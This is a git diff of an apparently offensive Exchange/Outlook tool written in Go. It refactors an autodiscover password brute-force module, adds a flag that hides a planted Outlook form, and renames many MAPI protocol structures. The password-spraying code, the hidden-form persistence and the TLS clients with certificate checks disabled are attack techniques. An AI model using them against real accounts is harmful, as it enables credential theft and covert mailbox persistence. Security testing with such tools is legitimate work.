diff --git a/autodiscover/autodiscover.go b/autodiscover/autodiscover.go index 000905b..2f3c24c 100644 --- a/autodiscover/autodiscover.go +++ b/autodiscover/autodiscover.go @@ -248,6 +248,7 @@ func autodiscover(domain string, mapi bool) (*utils.AutodiscoverResp, string, er if SessionConfig.Basic == false { //check if this is a first request or a redirect //create an ntml http client + client = http.Client{ Transport: &httpntlm.NtlmTransport{ Domain: SessionConfig.Domain, @@ -256,9 +257,11 @@ func autodiscover(domain string, mapi bool) (*utils.AutodiscoverResp, string, er NTHash: SessionConfig.NTHash, Insecure: SessionConfig.Insecure, CookieJar: SessionConfig.CookieJar, + Proxy: SessionConfig.Proxy, }, Jar: SessionConfig.CookieJar, } + } var autodiscoverURL string @@ -269,27 +272,25 @@ func autodiscover(domain string, mapi bool) (*utils.AutodiscoverResp, string, er } else { //create the autodiscover url if autodiscoverStep == 0 { - autodiscoverURL = createAutodiscover(domain, true) + autodiscoverURL = createAutodiscover(fmt.Sprintf("autodiscover.%s", domain), true) if autodiscoverURL == "" { autodiscoverStep++ } } if autodiscoverStep == 1 { - autodiscoverURL = createAutodiscover(fmt.Sprintf("autodiscover.%s", domain), true) + autodiscoverURL = createAutodiscover(fmt.Sprintf("autodiscover.%s", domain), false) if autodiscoverURL == "" { autodiscoverStep++ } } if autodiscoverStep == 2 { - autodiscoverURL = createAutodiscover(fmt.Sprintf("autodiscover.%s", domain), false) + autodiscoverURL = createAutodiscover(domain, true) if autodiscoverURL == "" { return nil, "", fmt.Errorf("Invalid domain or no autodiscover DNS record found") } } } - utils.Trace.Printf("Autodiscover step %d - URL: %s\n", autodiscoverStep, autodiscoverURL) - req, err := http.NewRequest("POST", autodiscoverURL, strings.NewReader(r)) req.Header.Add("Content-Type", "text/xml") req.Header.Add("User-Agent", "ruler") @@ -330,9 +331,11 @@ func autodiscover(domain string, mapi bool) (*utils.AutodiscoverResp, string, er defer resp.Body.Close() - if resp.StatusCode == 401 || resp.StatusCode == 403 { - return nil, autodiscoverURL, fmt.Errorf("Access denied. Check your credentials") - } + + if resp.StatusCode == 401 || resp.StatusCode == 403 { + return nil, autodiscoverURL, fmt.Errorf("Access denied. Check your credentials") + } + body, err := ioutil.ReadAll(resp.Body) if err != nil { diff --git a/autodiscover/brute.go b/autodiscover/brute.go index 94fb6b9..5f93518 100644 --- a/autodiscover/brute.go +++ b/autodiscover/brute.go @@ -1,6 +1,7 @@ package autodiscover import ( + "crypto/tls" "fmt" "io/ioutil" "net/http" @@ -25,43 +26,58 @@ type Result struct { var concurrency = 3 //limit the number of consecutive attempts +var delay = 5 +var consc = 3 +var usernames []string +var passwords []string +var userpass []string +var autodiscoverURL string +var basic = false +var verbose = false +var insecure = false +var stopSuccess = false + + func autodiscoverDomain(domain string) string { var autodiscoverURL string //check if this is just a domain or a redirect (starts with http[s]://) if m, _ := regexp.Match("http[s]?://", []byte(domain)); m == true { autodiscoverURL = domain + utils.Info.Printf("Using end-point: %s\n", domain) } else { //create the autodiscover url if autodiscoverStep == 0 { - autodiscoverURL = createAutodiscover(domain, true) + utils.Info.Println("Trying to Autodiscover domain") + autodiscoverURL = createAutodiscover(fmt.Sprintf("autodiscover.%s", domain), true) + utils.Trace.Printf("Autodiscover step %d - URL: %s\n", autodiscoverStep, autodiscoverURL) if autodiscoverURL == "" { autodiscoverStep++ } } if autodiscoverStep == 1 { - autodiscoverURL = createAutodiscover(fmt.Sprintf("autodiscover.%s", domain), true) + autodiscoverURL = createAutodiscover(fmt.Sprintf("autodiscover.%s", domain), false) + utils.Trace.Printf("Autodiscover step %d - URL: %s\n", autodiscoverStep, autodiscoverURL) if autodiscoverURL == "" { autodiscoverStep++ } } if autodiscoverStep == 2 { - autodiscoverURL = createAutodiscover(fmt.Sprintf("autodiscover.%s", domain), false) + autodiscoverURL = createAutodiscover(domain, true) + utils.Trace.Printf("Autodiscover step %d - URL: %s\n", autodiscoverStep, autodiscoverURL) if autodiscoverURL == "" { return "" } } } - utils.Trace.Printf("Autodiscover step %d - URL: %s\n", autodiscoverStep, autodiscoverURL) - req, err := http.NewRequest("GET", autodiscoverURL, nil) req.Header.Add("Content-Type", "text/xml") - tr := &http.Transport{ - TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, - } - client := http.Client{Transport:tr} + tr := &http.Transport{ + TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, + } + client := http.Client{Transport: tr} resp, err := client.Do(req) @@ -72,6 +88,8 @@ func autodiscoverDomain(domain string) string { } return "" } + + //check if we got prompted for authentication, this is normally an indicator of a valid endpoint if resp.StatusCode == 401 || resp.StatusCode == 403 { return autodiscoverURL } @@ -82,24 +100,49 @@ func autodiscoverDomain(domain string) string { return "" } -//BruteForce function takes a domain/URL, file path to users and filepath to passwords whether to use BASIC auth and to trust insecure SSL -//And whether to stop on success -func BruteForce(domain, usersFile, passwordsFile string, basic, insecure, stopSuccess, verbose bool, consc, delay int) { - utils.Info.Println("Trying to Autodiscover domain") - autodiscoverURL := autodiscoverDomain(domain) +//Init function to setup the brute-force session +func Init(domain, usersFile, passwordsFile, userpassFile string, b, i, s, v bool, c, d, t int) error { + autodiscoverURL = autodiscoverDomain(domain) if autodiscoverURL == "" { - return + return fmt.Errorf("No autodiscover end-point found") + } + + stopSuccess = s + insecure = i + basic = b + verbose = v + delay = d + consc = c + concurrency = t + + if autodiscoverURL == "https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml" { + basic = true + } + + if userpassFile != "" { + userpass = readFile(userpassFile) + if userpass == nil { + return fmt.Errorf("Unable to read userpass file") + } + return nil } - usernames := readFile(usersFile) + usernames = readFile(usersFile) if usernames == nil { - return + return fmt.Errorf("Unable to read usernames file") } - passwords := readFile(passwordsFile) + passwords = readFile(passwordsFile) if passwords == nil { - return + return fmt.Errorf("Unable to read passwords file") } + return nil +} + +//BruteForce function takes a domain/URL, file path to users and filepath to passwords whether to use BASIC auth and to trust insecure SSL +//And whether to stop on success +func BruteForce() { + attempts := 0 stp := false @@ -113,7 +156,9 @@ func BruteForce(domain, usersFile, passwordsFile string, basic, insecure, stopSu if u == "" || p == "" { continue } - time.Sleep(time.Millisecond * 500) //lets not flood it + + time.Sleep(time.Millisecond * 500) //lets not flood it + sem <- true go func(u string, p string, i int) { @@ -133,7 +178,6 @@ func BruteForce(domain, usersFile, passwordsFile string, basic, insecure, stopSu usernames = append(usernames[:out.Index], usernames[out.Index+1:]...) if stopSuccess == true { stp = true - } } }(u, p, ui) @@ -155,17 +199,7 @@ func BruteForce(domain, usersFile, passwordsFile string, basic, insecure, stopSu } //UserPassBruteForce function does a bruteforce using a supplied user:pass file -func UserPassBruteForce(domain, userpassFile string, basic, insecure, stopSuccess, verbose bool, consc, delay int) { - utils.Info.Println("Trying to Autodiscover domain") - autodiscoverURL := autodiscoverDomain(domain) - - if autodiscoverURL == "" { - return - } - userpass := readFile(userpassFile) - if userpass == nil { - return - } +func UserPassBruteForce() { count := 0 sem := make(chan bool, concurrency) @@ -178,7 +212,7 @@ func UserPassBruteForce(domain, userpassFile string, basic, insecure, stopSucces // verify colon-delimited username:password format s := strings.SplitN(up, ":", 2) if len(s) < 2 { - utils.Fail.Printf("Skipping improperly formatted entry in %s:%d\n", userpassFile, count) + utils.Fail.Printf("Skipping improperly formatted entry at line %d\n", count) continue } u, p := s[0], s[1] @@ -188,7 +222,9 @@ func UserPassBruteForce(domain, userpassFile string, basic, insecure, stopSucces if u == "" { continue } - time.Sleep(time.Millisecond * 500) //lets not flood it + + time.Sleep(time.Millisecond * 500) //lets not flood it + sem <- true go func(u string, p string) { @@ -236,10 +272,11 @@ func connect(autodiscoverURL, user, password string, basic, insecure bool) Resul result := Result{user, password, -1, -1, nil} cookie, _ := cookiejar.New(nil) - tr := &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, - DisableKeepAlives:true, //should fix mutex issues - } - client := http.Client{Transport:tr} + + tr := &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, + DisableKeepAlives: true, //should fix mutex issues + } + client := http.Client{Transport: tr} if basic == false { //check if this is a first request or a redirect @@ -258,8 +295,8 @@ func connect(autodiscoverURL, user, password string, basic, insecure bool) Resul req, err := http.NewRequest("GET", autodiscoverURL, nil) req.Header.Add("Content-Type", "text/xml") - //if we have been redirected to outlook, change the auth header to basic auth - if basic == false { + //if basic authi is required, set auth header + if basic == true { req.SetBasicAuth(user, password) } @@ -270,15 +307,20 @@ func connect(autodiscoverURL, user, password string, basic, insecure bool) Resul if m, _ := regexp.Match("illegal base64", []byte(err.Error())); m == true { client = http.Client{Transport: InsecureRedirectsO365{User: user, Pass: password, Insecure: insecure}} resp, err = client.Do(req) + if err != nil { + result.Error = err + return result + } } else { + result.Error = err return result } } - - defer resp.Body.Close() - + if resp != nil { + defer resp.Body.Close() + } result.Status = resp.StatusCode return result } diff --git a/forms/rulerforms.go b/forms/rulerforms.go index b2c7c8c..b3b9674 100644 --- a/forms/rulerforms.go +++ b/forms/rulerforms.go @@ -92,7 +92,7 @@ func CreateFormAttachmentWithTemplate(folderid, messageid []byte, pstr, template //CreateFormMessage creates the associate message that holds the form data func CreateFormMessage(suffix, assocRule string) ([]byte, error) { folderid := mapi.AuthSession.Folderids[mapi.INBOX] - propertyTagx := make([]mapi.TaggedPropertyValue, 9) + propertyTagx := make([]mapi.TaggedPropertyValue, 10) var err error propertyTagx[0] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagMessageClass, PropertyValue: utils.UniString("IPM.Microsoft.FolderDesign.FormsDescription")} @@ -104,6 +104,7 @@ func CreateFormMessage(suffix, assocRule string) ([]byte, error) { propertyTagx[6] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagSendOutlookRecallReport, PropertyValue: []byte{0xFF}} //set to true for form to be hidden :) propertyTagx[7] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTag6830, PropertyValue: append([]byte("&Open"), []byte{0x00}...)} propertyTagx[8] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagComment, PropertyValue: utils.UniString(assocRule)} //set this to indicate that a rule is present for this form + propertyTagx[9] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagHidden, PropertyValue: []byte{0x01}} //create the message in the "associated" contents table for the inbox msg, err := mapi.CreateAssocMessage(folderid, propertyTagx) diff --git a/mapi/constants.go b/mapi/constants.go index a9aba60..d513454 100644 --- a/mapi/constants.go +++ b/mapi/constants.go @@ -34,6 +34,10 @@ var ( ErrUnknown = errors.New("mapi: an unhandled exception occurred") //ErrNotAdmin when attempting to get admin access to a mailbox ErrNotAdmin = errors.New("mapi: Invalid logon. Admin privileges requested but user is not admin") + //ErrEmptyBuffer when we have returned a buffer that is too big for our RPC packet.. sometimes this happens.. + ErrEmptyBuffer = errors.New("An empty response buffer has been encountered. Likely that our response was too big for the current implementation of RPC/HTTP") + //ErrNonZeroStatus when the execute response status is not zero - this is not the same as the individual ROP messages erroring out + ErrNonZeroStatus = errors.New("The execute request returned a non-zero status code. Use --debug to see full response.") ) const ( @@ -496,6 +500,9 @@ var PidTagPrimarySendAccount = PropertyTag{PtypString, 0x0E28} //PidTagObjectType used in recepient var PidTagObjectType = PropertyTag{PtypInteger32, 0x0FFE} +//PidTagImportance used in recepient +var PidTagImportance = PropertyTag{PtypInteger32, 0x0017} + //PidTagDisplayType used in recepient var PidTagDisplayType = PropertyTag{PtypInteger32, 0x3900} @@ -609,3 +616,8 @@ var PidTag6900 = PropertyTag{0x0003, 0x6900} var PidTagComment = PropertyTag{PtypString, 0x3004} var PidTagSenderEntryId = PropertyTag{PtypBinary, 0x0C19} +var PidTagFolderWebViewInfo = PropertyTag{PtypBinary, 0x36DF} +var PidTagPurportedSenderDomain = PropertyTag{PtypString, 0x4083} +var PidTagBodyContentLocation = PropertyTag{PtypString, 0x1014} + +var PidTagClientInfo = PropertyTag{PtypString, 0x80C7} diff --git a/mapi/datastructs-abk.go b/mapi/datastructs-abk.go index 1840a7c..1810edb 100644 --- a/mapi/datastructs-abk.go +++ b/mapi/datastructs-abk.go @@ -15,6 +15,7 @@ type BindRequest struct { AuxiliaryBuffer []byte } +//BindRequestRPC the bind request used for abk type BindRequestRPC struct { Flags uint32 State []byte //optional 36 bytes diff --git a/mapi/datastructs.go b/mapi/datastructs.go index b7af6fd..77a4b09 100644 --- a/mapi/datastructs.go +++ b/mapi/datastructs.go @@ -1,6 +1,8 @@ package mapi import ( + "fmt" + "github.com/sensepost/ruler/utils" ) @@ -66,7 +68,7 @@ type ExecuteResponse struct { ErrorCode uint32 Flags uint32 //0x00000000 always RopBufferSize uint32 - RopBuffer []byte //struct{} + RopBuffer RopBufferResp //[]byte //struct{} AuxilliaryBufSize uint32 AuxilliaryBuf []byte } @@ -84,6 +86,43 @@ type ConnectResponse struct { AuxilliaryBuffer []byte } +//RopReadPerUserInformationRequest get user information +type RopReadPerUserInformationRequest struct { + RopID uint8 //0x63 + LogonID uint8 + InputHandleIndex uint8 + FolderID []byte + Reserved uint32 + DataOffset uint32 + MaxDataSize uint16 +} + +//RopReadPerUserInformationResponse get user information response +type RopReadPerUserInformationResponse struct { + RopID uint8 //0x63 + InputHandleIndex uint8 + ReturnValue uint32 + HasFinished uint8 + DataSize uint16 + Data []byte +} + +//RopLongTermIDFromIDRequest get user information +type RopLongTermIDFromIDRequest struct { + RopID uint8 //0x43 + LogonID uint8 + InputHandleIndex uint8 + ObjectID []byte +} + +//RopLongTermIDFromIDResponse get user information response +type RopLongTermIDFromIDResponse struct { + RopID uint8 //0x43 + InputHandleIndex uint8 + ReturnValue uint32 + LongTermID []byte +} + //RgbAuxIn struct type RgbAuxIn struct { RPCHeader RPCHeader @@ -103,6 +142,12 @@ type ROPBuffer struct { ROP ROP } +//RopBufferResp struct +type RopBufferResp struct { + Header []byte + Body []byte +} + //ROP request type ROP struct { RopSize uint16 @@ -122,16 +167,9 @@ type RopLogonRequest struct { Essdn []byte } -//RopDisconnectRequest struct -type RopDisconnectRequest struct { - RopID uint8 //0x01 - LogonID uint8 //logonID to use - InputHandleIndex uint8 -} - //RopLogonResponse struct type RopLogonResponse struct { - RopID uint8 + RopID uint8 //0xfe OutputHandleIndex uint8 ReturnValue uint32 LogonFlags byte @@ -145,6 +183,13 @@ type RopLogonResponse struct { StoreState []byte } +//RopDisconnectRequest struct +type RopDisconnectRequest struct { + RopID uint8 //0x01 + LogonID uint8 //logonID to use + InputHandleIndex uint8 +} + //RopGetRulesTableRequest struct type RopGetRulesTableRequest struct { RopID uint8 //0x3f @@ -154,16 +199,6 @@ type RopGetRulesTableRequest struct { TableFlags byte } -//RopModifyRulesRequestBuffer struct -type RopModifyRulesRequestBuffer struct { - RopID uint8 //0x02 - LogonID uint8 - InputHandleIndex uint8 - ModifyRulesFlag byte - RulesCount uint16 - RulesData []byte -} - //RopGetContentsTableRequest struct type RopGetContentsTableRequest struct { RopID uint8 //0x05 @@ -175,28 +210,138 @@ type RopGetContentsTableRequest struct { //RopGetContentsTableResponse struct type RopGetContentsTableResponse struct { - RopID uint8 //0x05 - OutputHandle uint8 - ReturnValue uint32 - RowCount uint32 + RopID uint8 //0x05 + OutputHandleIndex uint8 + ReturnValue uint32 + RowCount uint32 +} + +//RopSetSearchCriteriaRequest is used to set the search criteria on a folder +type RopSetSearchCriteriaRequest struct { + RopID uint8 //0x30 + LogonID uint8 + InputHandleIndex uint8 + RestrictDataSize uint16 + RestrictionData []byte + FolderIDCount uint16 + FolderIds []byte + SearchFlags uint32 } -//RopGetPropertiesSpecific struct to get propertiesfor a folder -type RopGetPropertiesSpecific struct { +//RopSetSearchCriteriaResponse is used to set the search criteria on a folder +type RopSetSearchCriteriaResponse struct { + RopID uint8 //0x30 + InputHandleIndex uint8 + ReturnValue uint32 +} + +//RopGetSearchCriteriaRequest is used to set the search criteria on a folder +type RopGetSearchCriteriaRequest struct { + RopID uint8 //0x30 + LogonID uint8 + InputHandleIndex uint8 + UseUnicode uint8 + IncludeRestriction uint8 + IncludeFolders uint8 +} + +//RopGetSearchCriteriaResponse is used to set the search criteria on a folder +type RopGetSearchCriteriaResponse struct { + RopID uint8 //0x30 + InputHandleIndex uint8 + ReturnValue uint32 + LoginID uint8 + RestrictDataSize uint16 + RestrictionData []byte + FolderIDCount uint16 + FolderIds []byte + SearchFlags uint32 +} + +//RopGetPropertyIdsFromNamesRequest struct to get property ids for LIDs +type RopGetPropertyIdsFromNamesRequest struct { + RopID uint8 //0x56 + LogonID uint8 + InputHandleIndex uint8 + Flags uint8 + PropertyNameCount uint16 + PropertyNames []PropertyName +} + +//GetProperties interface allowing both RopgetPropertyIdsFromName and RopGetProperties to be used +type GetProperties interface { + Unmarshal([]byte, []PropertyTag) (int, error) + GetData() []PropertyRow +} + +//RopGetPropertyIdsFromNamesResponse struct to get property ids for LIDs +type RopGetPropertyIdsFromNamesResponse struct { + RopID uint8 //0x56 + InputHandleIndex uint8 + ReturnValue uint32 + PropertyIdCount uint16 + PropertyIds []byte //16 byte guids +} + +//RopGetNamesFromPropertyIdsRequest request to get the named property values from a list of property ids +type RopGetNamesFromPropertyIdsRequest struct { + RopID uint8 //0x55 + LogonID uint8 + InputHandleIndex uint8 + PropertyIDCount uint16 + PropertyIDs []byte +} + +//RopGetNamesFromPropertyIdsResponse response containing property names based on their ids +type RopGetNamesFromPropertyIdsResponse struct { + RopID uint8 //0x55 + InputHandleIndex uint8 + ReturnValue uint32 + PropertyNameCount uint16 + PropertyNames []PropertyName +} + +//RopGetPropertiesListRequest get a list or properties on an object +type RopGetPropertiesListRequest struct { + RopID uint8 //0x09 + LogonID uint8 // + InputHandleIndex uint8 +} + +//RopGetPropertiesListResponse get a list of properties on an object +type RopGetPropertiesListResponse struct { + RopID uint8 //0x09 + InputHandleIndex uint8 + ReturnValue uint32 + PropertyTagCount uint16 + PropertyTags []PropertyTag +} + +//RopGetPropertiesSpecificRequest struct to get propertiesfor a folder +type RopGetPropertiesSpecificRequest struct { RopID uint8 //0x07 LogonID uint8 - InputHandle uint8 + InputHandleIndex uint8 PropertySizeLimit uint16 - WantUnicode []byte //apparently bool + WantUnicode uint16 //apparently bool PropertyTagCount uint16 PropertyTags []PropertyTag //[]byte } +//RopGetPropertiesSpecificResponse struct to get propertiesfor a folder +type RopGetPropertiesSpecificResponse struct { + RopID uint8 //0x07 + InputHandleIndex uint8 + ReturnValue uint32 + PropertySizeLimit uint16 + RowData []PropertyRow +} + //RopSetPropertiesRequest struct to set properties on an object type RopSetPropertiesRequest struct { RopID uint8 //0x0A LogonID uint8 - InputHandle uint8 + InputHandleIndex uint8 PropertValueSize uint16 PropertValueCount uint16 PropertyValues []TaggedPropertyValue @@ -205,92 +350,101 @@ type RopSetPropertiesRequest struct { //RopSetPropertiesResponse struct to set properties on an object type RopSetPropertiesResponse struct { RopID uint8 //0x0A - InputHandle uint8 + InputHandleIndex uint8 ReturnValue uint32 PropertyProblemCount uint16 PropertyProblems []byte } -//RopGetPropertiesSpecificResponse struct to get propertiesfor a folder -type RopGetPropertiesSpecificResponse struct { - RopID uint8 //0x07 +//RopGetPropertiesAllRequest struct to get all propertiesfor a folder +type RopGetPropertiesAllRequest struct { + RopID uint8 //0x08 + LogonID uint8 InputHandleIndex uint8 - ReturnValue uint32 PropertySizeLimit uint16 - RowData []PropertyRow + WantUnicode uint16 +} + +//RopGetPropertiesAllResponse struct to get all properties for a folder +type RopGetPropertiesAllResponse struct { + RopID uint8 //0x08 + InputHandleIndex uint8 + ReturnValue uint32 + PropertyValueCount uint16 + PropertyValues []PropertyRow } //RopFastTransferDestinationConfigureRequest used to configure a destination buffer for fast TransferBuffer type RopFastTransferDestinationConfigureRequest struct { - RopID uint8 //0x53 - LogonID uint8 - InputHandle uint8 - OutputHandle uint8 - SourceOperation uint8 - CopyFlags uint8 + RopID uint8 //0x53 + LogonID uint8 + InputHandleIndex uint8 + OutputHandleIndex uint8 + SourceOperation uint8 + CopyFlags uint8 } //RopFastTransferDestinationConfigureResponse used to configure a destination buffer for fast TransferBuffer type RopFastTransferDestinationConfigureResponse struct { - RopID uint8 //0x53 - OutputHandle uint8 - ReturnValue uint32 + RopID uint8 //0x53 + OutputHandleIndex uint8 + ReturnValue uint32 } //RopFastTransferDestinationPutBufferRequest to actually upload the data type RopFastTransferDestinationPutBufferRequest struct { RopID uint8 //0x53 LogonID uint8 - InputHandle uint8 + InputHandleIndex uint8 TransferDataSize uint16 TransferData []byte } //RopOpenFolderRequest struct used to open a folder type RopOpenFolderRequest struct { - RopID uint8 //0x02 - LogonID uint8 - InputHandle uint8 - OutputHandle uint8 - FolderID []byte - OpenModeFlags uint8 + RopID uint8 //0x02 + LogonID uint8 + InputHandleIndex uint8 + OutputHandleIndex uint8 + FolderID []byte + OpenModeFlags uint8 } //RopOpenFolderResponse struct used to open a folder type RopOpenFolderResponse struct { - RopID uint8 - OutputHandle uint8 - ReturnValue uint32 - HasRules byte //bool - IsGhosted byte //bool - ServerCount uint16 //only if IsGhosted == true - CheapServerCount uint16 //only if IsGhosted == true - Servers []byte //only if IsGhosted == true + RopID uint8 + OutputHandleIndex uint8 + ReturnValue uint32 + HasRules byte //bool + IsGhosted byte //bool + ServerCount uint16 //only if IsGhosted == true + CheapServerCount uint16 //only if IsGhosted == true + Servers []byte //only if IsGhosted == true } //RopGetHierarchyTableRequest struct used to get folder hierarchy type RopGetHierarchyTableRequest struct { - RopID uint8 //0x04 - LogonID uint8 - InputHandle uint8 - OutputHandle uint8 - TableFlags uint8 + RopID uint8 //0x04 + LogonID uint8 + InputHandleIndex uint8 + OutputHandleIndex uint8 + TableFlags uint8 } //RopGetHierarchyTableResponse struct used to get folder hierarchy type RopGetHierarchyTableResponse struct { - RopID uint8 //0x04 - OutputHandle uint8 - ReturnValue uint32 - RowCount uint32 + RopID uint8 //0x04 + OutputHandleIndex uint8 + ReturnValue uint32 + RowCount uint32 } //RopCreateFolderRequest struct used to create a folder type RopCreateFolderRequest struct { RopID uint8 //0x1C LogonID uint8 - InputHandle uint8 - OutputHandle uint8 + InputHandleIndex uint8 + OutputHandleIndex uint8 FolderType uint8 UseUnicodeStrings uint8 OpenExisting uint8 @@ -301,93 +455,102 @@ type RopCreateFolderRequest struct { //RopCreateFolderResponse struct used to create a folder type RopCreateFolderResponse struct { - RopID uint8 //0x1C - OutputHandle uint8 - ReturnValue uint32 - FolderID []byte - IsExisting uint8 - HasRules byte //bool - IsGhosted byte //bool - ServerCount uint16 //only if IsGhosted == true - CheapServerCount uint16 //only if IsGhosted == true - Servers []byte //only if IsGhosted == true + RopID uint8 //0x1C + OutputHandleIndex uint8 + ReturnValue uint32 + FolderID []byte + IsExisting uint8 + HasRules byte //bool + IsGhosted byte //bool + ServerCount uint16 //only if IsGhosted == true + CheapServerCount uint16 //only if IsGhosted == true + Servers []byte //only if IsGhosted == true } //RopEmptyFolderRequest used to delete all messages and subfolders from a folder type RopEmptyFolderRequest struct { RopID uint8 //0x58 LogonID uint8 - InputHandle uint8 + InputHandleIndex uint8 WantAsynchronous uint8 WantDeleteAssociated uint8 } //RopEmptyFolderResponse to emptying a folder type RopEmptyFolderResponse struct { - RopID uint8 //0x58 - InputHandle uint8 - ReturnValue uint32 - PartialComplete uint8 + RopID uint8 //0x58 + InputHandleIndex uint8 + ReturnValue uint32 + PartialComplete uint8 } //RopDeleteFolderRequest used to delete a folder type RopDeleteFolderRequest struct { RopID uint8 //0x1D LogonID uint8 - InputHandle uint8 + InputHandleIndex uint8 DeleteFolderFlags uint8 FolderID []byte } //RopDeleteFolderResponse to delete a folder type RopDeleteFolderResponse struct { - RopID uint8 //0x1D - InputHandle uint8 - ReturnValue uint32 - PartialComplete uint8 + RopID uint8 //0x1D + InputHandleIndex uint8 + ReturnValue uint32 + PartialComplete uint8 } //RopCreateMessageRequest struct used to open handle to new email message type RopCreateMessageRequest struct { - RopID uint8 //0x32 - LogonID uint8 - InputHandle uint8 - OutputHandle uint8 - CodePageID uint16 - FolderID []byte - AssociatedFlag byte //bool + RopID uint8 //0x32 + LogonID uint8 + InputHandleIndex uint8 + OutputHandleIndex uint8 + CodePageID uint16 + FolderID []byte + AssociatedFlag byte //bool +} + +//RopCreateMessageResponse struct used to open handle to new email message +type RopCreateMessageResponse struct { + RopID uint8 + OutputHandleIndex uint8 + ReturnValue uint32 + HasMessageID byte //bool + MessageID []byte //bool } //RopSubmitMessageRequest struct used to open handle to new email message type RopSubmitMessageRequest struct { - RopID uint8 - LogonID uint8 - InputHandle uint8 - SubmitFlags uint8 + RopID uint8 + LogonID uint8 + InputHandleIndex uint8 + SubmitFlags uint8 } //RopSubmitMessageResponse struct used to open handle to new email message type RopSubmitMessageResponse struct { - RopID uint8 - InputHandle uint8 - ReturnValue uint32 + RopID uint8 + InputHandleIndex uint8 + ReturnValue uint32 } //RopDeleteMessagesRequest struct used to delete one or more messages type RopDeleteMessagesRequest struct { - RopID uint8 //0x1E - LogonID uint8 - InputHandle uint8 - WantSynchronous uint8 - NotifyNonRead uint8 - MessageIDCount uint16 - MessageIDs []byte //messageIdCount * 64 bit identifiers + RopID uint8 //0x1E + LogonID uint8 + InputHandleIndex uint8 + WantSynchronous uint8 + NotifyNonRead uint8 + MessageIDCount uint16 + MessageIDs []byte //messageIdCount * 64 bit identifiers } //RopDeleteMessagesResponse struct holds response for deleting messages type RopDeleteMessagesResponse struct { RopID uint8 - InputHandle uint8 + InputHandleIndex uint8 ReturnValue uint32 PartialCompletion uint8 } @@ -397,7 +560,7 @@ type RopSaveChangesMessageRequest struct { RopID uint8 LogonID uint8 ResponseHandleIndex uint8 - InputHandle uint8 + InputHandleIndex uint8 SaveFlags byte } @@ -406,7 +569,7 @@ type RopSaveChangesMessageResponse struct { RopID uint8 ResponseHandleIndex uint8 ReturnValue uint32 - InputHandle uint8 + InputHandleIndex uint8 MessageID []byte } @@ -463,34 +626,34 @@ type RopOpenAttachmentResponse struct { type RopSynchronizationOpenCollectorRequest struct { RopID uint8 LogonID uint8 - InputHandle uint8 - OutputHandle uint8 + InputHandleIndex uint8 + OutputHandleIndex uint8 IsContentsCollector byte } //RopSynchronizationOpenCollectorResponse struct used to open handle to new email message type RopSynchronizationOpenCollectorResponse struct { - RopID uint8 - OutputHandle uint8 - ReturnValue uint32 + RopID uint8 + OutputHandleIndex uint8 + ReturnValue uint32 } //RopOpenMessageRequest struct used to open handle to message type RopOpenMessageRequest struct { - RopID uint8 //0x03 - LogonID uint8 - InputHandle uint8 - OutputHandle uint8 - CodePageID uint16 - FolderID []byte - OpenModeFlags byte - MessageID []byte + RopID uint8 //0x03 + LogonID uint8 + InputHandleIndex uint8 + OutputHandleIndex uint8 + CodePageID uint16 + FolderID []byte + OpenModeFlags byte + MessageID []byte } //RopOpenMessageResponse struct used to open handle to message type RopOpenMessageResponse struct { RopID uint8 //0x03 - OutputHandle uint8 + OutputHandleIndex uint8 ReturnValue uint32 HasNamedProperties byte SubjectPrefix []byte @@ -536,50 +699,50 @@ type RopSaveChangesAttachmentResponse struct { //RopFastTransferSourceCopyToRequest struct used to open handle to message type RopFastTransferSourceCopyToRequest struct { - RopID uint8 //0x4D - LogonID uint8 - InputHandle uint8 - OutputHandle uint8 - Level uint8 - CopyFlags uint32 - SendOptions uint8 - PropertyTagCount uint16 - PropertyTags []PropertyTag + RopID uint8 //0x4D + LogonID uint8 + InputHandleIndex uint8 + OutputHandleIndex uint8 + Level uint8 + CopyFlags uint32 + SendOptions uint8 + PropertyTagCount uint16 + PropertyTags []PropertyTag } //RopFastTransferSourceCopyPropertiesRequest struct used to open handle to message type RopFastTransferSourceCopyPropertiesRequest struct { - RopID uint8 //0x69 - LogonID uint8 - InputHandle uint8 - OutputHandle uint8 - Level uint8 - CopyFlags uint8 - SendOptions uint8 - PropertyTagCount uint16 - PropertyTags []PropertyTag + RopID uint8 //0x69 + LogonID uint8 + InputHandleIndex uint8 + OutputHandleIndex uint8 + Level uint8 + CopyFlags uint8 + SendOptions uint8 + PropertyTagCount uint16 + PropertyTags []PropertyTag +} + +//RopFastTransferSourceCopyPropertiesResponse struct used to open handle to message +type RopFastTransferSourceCopyPropertiesResponse struct { + RopID uint8 //0x4E + InputHandleIndex uint8 + ReturnValue uint32 } //RopFastTransferSourceGetBufferRequest struct used to open handle to message type RopFastTransferSourceGetBufferRequest struct { RopID uint8 //0x4E LogonID uint8 - InputHandle uint8 + InputHandleIndex uint8 BufferSize uint16 MaximumBufferSize uint16 //0xBABE } -//RopFastTransferSourceCopyPropertiesResponse struct used to open handle to message -type RopFastTransferSourceCopyPropertiesResponse struct { - RopID uint8 //0x4E - InputHandle uint8 - ReturnValue uint32 -} - //RopFastTransferSourceGetBufferResponse struct used to open handle to message type RopFastTransferSourceGetBufferResponse struct { RopID uint8 //0x4E - InputHandle uint8 + InputHandleIndex uint8 ReturnValue uint32 TransferStatus uint16 InProgressCount uint16 @@ -658,7 +821,7 @@ type RopSetStreamSizeResponse struct { type RopReadStreamRequest struct { RopID uint8 //0x2C LogonID uint8 - InputHandle uint8 + InputHandleIndex uint8 ByteCount uint16 MaximumByteCount uint32 } @@ -667,17 +830,24 @@ type RopReadStreamRequest struct { type RopRestrictRequest struct { RopID uint8 //0x14 LogonID uint8 - InputHandle uint8 + InputHandleIndex uint8 RestrictFlags uint8 RestrictDataSize uint16 RestrictionData []byte } +//RopRestrictResponse strcut +type RopRestrictResponse struct { + RopID uint8 //0x14 + InputHandleIndex uint8 + ReturnValue uint32 +} + //RopSetColumnsRequest struct used to select the columns to use type RopSetColumnsRequest struct { RopID uint8 //0x12 LogonID uint8 - InputHandle uint8 + InputHandleIndex uint8 SetColumnFlags uint8 PropertyTagCount uint16 PropertyTags []PropertyTag @@ -685,37 +855,37 